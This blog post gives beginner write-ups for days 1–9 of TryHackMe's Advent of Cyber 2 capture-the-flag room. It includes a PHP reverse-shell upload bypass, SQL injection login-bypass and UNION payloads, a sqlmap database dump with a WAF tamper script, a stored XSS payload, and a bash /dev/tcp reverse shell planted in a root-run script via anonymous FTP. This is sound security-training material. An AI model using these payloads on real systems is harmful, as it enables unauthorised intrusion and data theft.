CTF - Advent of Cyber 2 [2020] Writeups (Day1 to Day9)
Tags: cybersecurity, beginners, tryhackme, ctf
Published: 2022-08-10 15:43:00

> This post will be the first of the many (hopefully 😉) posts in a series for tryhackme writeups! Specifically, this post is about the now old but very good beginner friendly CTF room - [Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2). More details below!

> ⚠ **IMPORTANT** ⚠ For someone who don't wish to be spoilt, do not read the writeup section of this post. A lot of them consisted of the exact commands and steps took when attempting the challenges. 

---

## Table Of Contents
* [Motivation](#Motivation)
* [Who should try this tryhackme room](#Who-should-try)
* [Writeups](#Writeups)
{% details Link to writeups categorized by day %}
  * [Day 1️⃣](#day1)
  * [Day 2️⃣](#day2)
  * [Day 3️⃣](#day3)
  * [Day 4️⃣](#day4)
  * [Day 5️⃣](#day5)
  * [Day 6️⃣](#day6)
  * [Day 7️⃣](#day7)
  * [Day 8️⃣](#day8)
  * [Day 9️⃣](#day9)
{% enddetails %}

---

## ⚡ Motivation <a name="Motivation"></a>
Despite having a career as a professional software developer for close to 10 years now, I always find myself 
- intrigued by cybersecurity work - pen-testing, malware analysis, reverse engineering, etc
- unknowingly spending significant amount of time exploring related tricks/tools (dotpeek, nmap, sysinternal tools, linux internals, etc)
- and keeping up with relevant news (favourite podcast - [Risky Business](https://www.risky.biz/), favourite youtuber - [LiveOverflow](https://liveoverflow.com/))

Still... Somehow I don't ever feel fulfilled, in fact I think I spread myself too thin over a wide field. A metaphor that comes into mind is me sniffing the smell of great food 🥗 in all corners of the world without eating any of them once! 

Recently stumbled across the [advent of cyber](https://www.tryhackme.com/christmas) as a fun and beginner friendly way to learn CTF holistically. 
- The great learning experience that I had so far ignites 🔥 me to complete the whole room (day 25). Will certainly look forward to this year's advent of cyber!
- Decided to also share my writeup because I already write a quite thorough note for personal reference - AKA I mostly only need to additionally write an intro for the start of a new room!
- Lastly, I think that good writing skills is a very important part of cybersecurity work. By publishing writeup articles it serves as a valuable 💎 practise and also a potential portfolio ;)

## ❓ Who should try this tryhackme room <a name="Who-should-try"></a>
- Based on my bias background, I imagine software developers or other IT professionals that would like a gleams of how CTF works will find my writeups mildly beneficial 🙂
- Similarly, I think this room is suitable for IT professionals but not someone that is new with computer technology. 
- Information about tryhackme is easily searchable online. For those who like to have something to start reading about right away, this is an article about [what are other good tryhackme room that are free?](https://tryhackme.com/resources/blog/free_path).
- ☝ Last by not least, the writeups are detailed but the words used are not polished unlike the introduction text.
    - Aside from the exact commands and steps, the writeups also contains bonus links to tools that I found useful.

## ⭐ Writeups <a name="Writeups"></a>
Finally the meat of the post! Note that I am mostly using my local windows machine + OpenVPN as the 'attacker' machine.
- You can opt to use the 'AttackTheBox' machine which is free to deploy once a day. 

### Day 1️⃣- Simple cookie auth bypass <a name="day1"></a>
using [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=N2IyMjYzNmY2ZDcwNjE2ZTc5MjIzYTIyNTQ2ODY1MjA0MjY1NzM3NDIwNDY2NTczNzQ2OTc2NjE2YzIwNDM2ZjZkNzA2MTZlNzkyMjJjMjAyMjc1NzM2NTcyNmU2MTZkNjUyMjNhMjI2YzY1NzQ2ZDY1Njk2ZTIyN2Q) or [dcode.fr](https://www.dcode.fr/cipher-identifier) to decode the `auth` cookie value

### Day 2️⃣ - Upload vuln <a name="day2"></a>
- There is a recommendation about [a room dedicated to bypassing file upload](https://tryhackme.com/room/uploadvulns) 
- steps
    - uploaded the php file by renaming it from `reverse-shell.php` to `reverse-shell.png`
        - CORRECTION: `reverse-shell.jpeg.php`
    - use netcat in git bash to listen to reverse shell
        - `ncat -l 443`
    - visit {tryhackme deployed machine}/uploads/reverse-shell.png in browser
    - profit
- unfortunately...
    - need to debug why there's no connection
    - make sure firewall allowed inbound connection for ncat.exe for private network
    - make sure ncat command is working by connecting to the same port
        - `ncat -w 5 localhost 43434`
    - trying tcpdump / windump
        - tcpdump needs to install additional driver
        - windump crash due to exception
        - used the following cmds in this attempt
            - `netsh interface show interface`
            - `tcpdump.exe -i "Local Area Connection" -nn port 43434`
            - `WinDump.exe -i "Local Area Connection" -nn port 43434`
    - {source}
    - https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections
- Good reference
    - [stabilize reverse shell](https://tkcyber.com/index.php/2022/06/19/stabilize-a-reverse-shell/)
- conclusion
    - turn out that...!
    - the file uploaded must end with .php

### Day 3️⃣ - Bypass Auth via brute force <a name="day3"></a>
- `"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --proxy-server="localhost:8080"`
- "/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"
- Debugging why zap not getting traffic
    - spent a lot of time making sure proxy and certificates are configured
    - Use `edge://flags/#unsafely-treat-insecure-origin-as-secure` flag and add the domain to [prevent auto https redirect](https://answers.microsoft.com/en-us/microsoftedge/forum/all/how-to-stop-ms-edge-to-auto-redirect-to-https/21b0c999-2042-4487-874b-2fc01a7ca167?page=1)
        - not working -> "http://10.10.190.96,http://10.10.190.96:8080,http://10.10.190.96:443"
    - TURN OUT THAT...
        - Just need to add 127.0.0.1:8080 as the proxy in openvpn client setting
        - AND make sure msedge --proxy-server parameter don't specify http!!!!!!!!!!!!!
        - And [use fuzzer](https://www.zaproxy.org/blog/2022-03-29-portswigger-lab-brute-force-password-change/) to brute force username and password

### Day 4️⃣ - Discovery using gobuster and wfuzz <a name="day4"></a>
- `pip install wfuzz`
- download gobuster from it's github repo
	- %USERPROFILE%\Downloads\Hackish\gobuster\gobuster.exe
- history
	- `/c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w wordlist.txt`
	- download more wordlist from [SecList](https://github.dev/danielmiessler/SecLists/blob/master/Discovery/Web-Content/dirsearch.txt)
	- run gobuster with cleaner output by redirecting stderr to null
		- `/c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w dirsearch.txt 2>/dev/null`
		- found ==http://10.10.79.2/api/==
	- download wfuzz `docker pull ghcr.io/xmendez/wfuzz`
	- run wfuzz
		- `docker run --rm -v wordlist/:/wordlist/ -w /wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz -c -z file,date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.php`
	- running in git bash fails. Need to run in cmd
		- `docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.ph`
		- final working cmd -> `docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -u http://10.10.255.75/api/site-log.php?date=FUZZ`
		- Got that final command by referring to [wfuzz basic usage](https://wfuzz.readthedocs.io/en/latest/user/basicusage.html) and [docker run doc](https://docs.docker.com/engine/reference/commandline/run/)

### Day 5️⃣ - Dump gift list by bypassing login using SQLi <a name="day5"></a>
- SQL injection login bypass exercise
	- username: `' or true --`
	- password: `anything') or true; --`
	- Resulting backend SQL query
		```
		SELECT * FROM users
        WHERE username = '' or true --'
        AND password = MD5('anything') or true; --')
		```
- tips by reading the santa note
	- database used is SQLite
	- bypass WAF by using tamper script
	- combined: `--dbms=SQLite --tamper=space2comment`
- History
	- guessed the login panel by looking at the hint: `s**tap****`
	- successfully bypass login by filling username with `' or true --`
	- the searching function seems broken, maybe due to the way we login
	- first tried blink SQLi using `http://{machine IP}:8000/santapanel?search=1' AND%20(ascii(substr((select%20database()),1,1)))%20=%20115%20--+`
	- that fails, then tried a UNION SQLi and it lists out all the gifts!
		- `http://10.10.51.232:8000/santapanel?search=' ORDER BY 1-- `
		- this answers the questions of how many gifts and also what Paul wants as a gift
	- As UNION SQLi is effective, used that to determine how many column the authentication table has
		- delete the sesion cookies so that we can logout
		- found out there's 2 columns for the authentication table
		- Give it a shot to run the attack in the search box and it works to extract the auth table despite executed in gift table?
			- `http://10.10.51.232:8000/santapanel?search= ' UNION SELECT username, password FROM users --`
			- got the admin user and password via this method
	- For the question of what is the flag, that requires dumping the whole database
		- at first went the wrong direction and try to run sqlmap on the login POST request 
		- after realizing that is not the correct way, run sqlmap on the search gift GET request instead
			- first save the GET request as a file from the browser devtool > network > right click the request > copy > request header
			- then run the following command `python sqlmap.py -r ../xmas-advent-2020/day5/santapanel-search --dbms=SQLite --tamper=space2comment --dump-all`
			- noticed that we are specifying the database and also a tamper script to bypass the WAF

### Day 6️⃣ - Hijack Wish List via XSS <a name="day6"></a>
- Launch proxied msedge
	- `"/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"`
- History
	- Successfully used stored XSS attack -> `end of wish</p> <script>alert("xss")</script>`
	- Then just run the automatic scan using OWASP ZAP

### Day 7️⃣ - Analysing basic networking traffic using wireshark <a name="day7"></a>
- Most questions here are straight forward
	- Just need to open the packet from the downloaded zip file from the lab
	- Follow the instructions and basically just need to use basic filtering such as
		- `not ssh`
		- `http`
	- The least obvious will be the last question, which can be done just by exporting the request using http
		- then select the packet with the context type of `application/zip` > save

### Day 8️⃣ - Network discovery using NMap <a name="day8"></a>
- Two common TCP scan
	- Connect Scan - `nmap -sT {ip}`
	- SYN Scan - `nmap -sS {ip}`
		- SYN/ACK = open
		- RST = Closed
		- Multiple attempts = filtered
- Timing template -> `-T0` to `-T5`
	- default is `-T3`
	- level 0 is 1 port scan every 5 minutes
	- level 5 is 1 port scan every 0.3 seconds
- `-Pn`: Treat all hosts as online -> skip host discovery
- `-sV`: Probe open ports to determine service/version info
- history
	- ran `nmap -sS {ip}` just to answer the first question.
		- compared the output to connect scan `-sT`. This seems much slower than SYNC scan, didn't wait for it to timeout as not being patient =P
	- ran `nmap -Pn {ip}` and got almost the exact output compared to SYNC scan
	- Compared the output of `-A` and `-sV`
	- ran `nmap --script http-title 10.10.253.171`
		- this returns "Internal Blog"
	- ran `nmap --script http-apache-server-status 10.10.253.171`
		- this don't return anything extra
	- ran `nmap --script ssh-auth-methods 10.10.253.171`
		- this reveals that the server support publickey and password ssh auth.

### Day 9️⃣ - Root access via anonymous FTP <a name="day9"></a>
- The ability to gain root access depends on ALL the following
	- anonymous mode for FTP is enabled
	- Permission for anonymous user to upload files
	- Ability to execute code as root using the file that we uploaded
- History
	- `ftp {ip}`
		- type `anonymous` as the username
		- `ftp> ls -la` to list all files and folder of the current directory
	- `ftp> ls public` to list all files inside the directory that anonymous user has read and write permission.
	- `ftp> cd public; get backup.sh; get shoppinglist.txt`
		- this will answer the last two questions
	- The last question guide us to use reverse shell to gain access to the root shell.
		- however an easier shortcut is just to run 
			- `cat /root/flag.txt > flag.txt`
			- followed by `ftp> get flag.txt` to read the flag.
		- also tried the recommended reverse shell method as this is the most flexible generic method.
			- `bash -i >& /dev/tcp/{dev ip}}/4444 0>&1`
			- run listener on dev machine `ncat -lvnp 4444`
	- ==conclusion==
		- need to use the reverse shell method.
		- somehow flag.txt didn't get writen despite putting both the commands in `backup.sh`
		- One last important point, haven't found a way to change a new file that is uploaded to have executable permission.
		- Thus, just need to write the exploit script in `backup.sh` which has executable permission.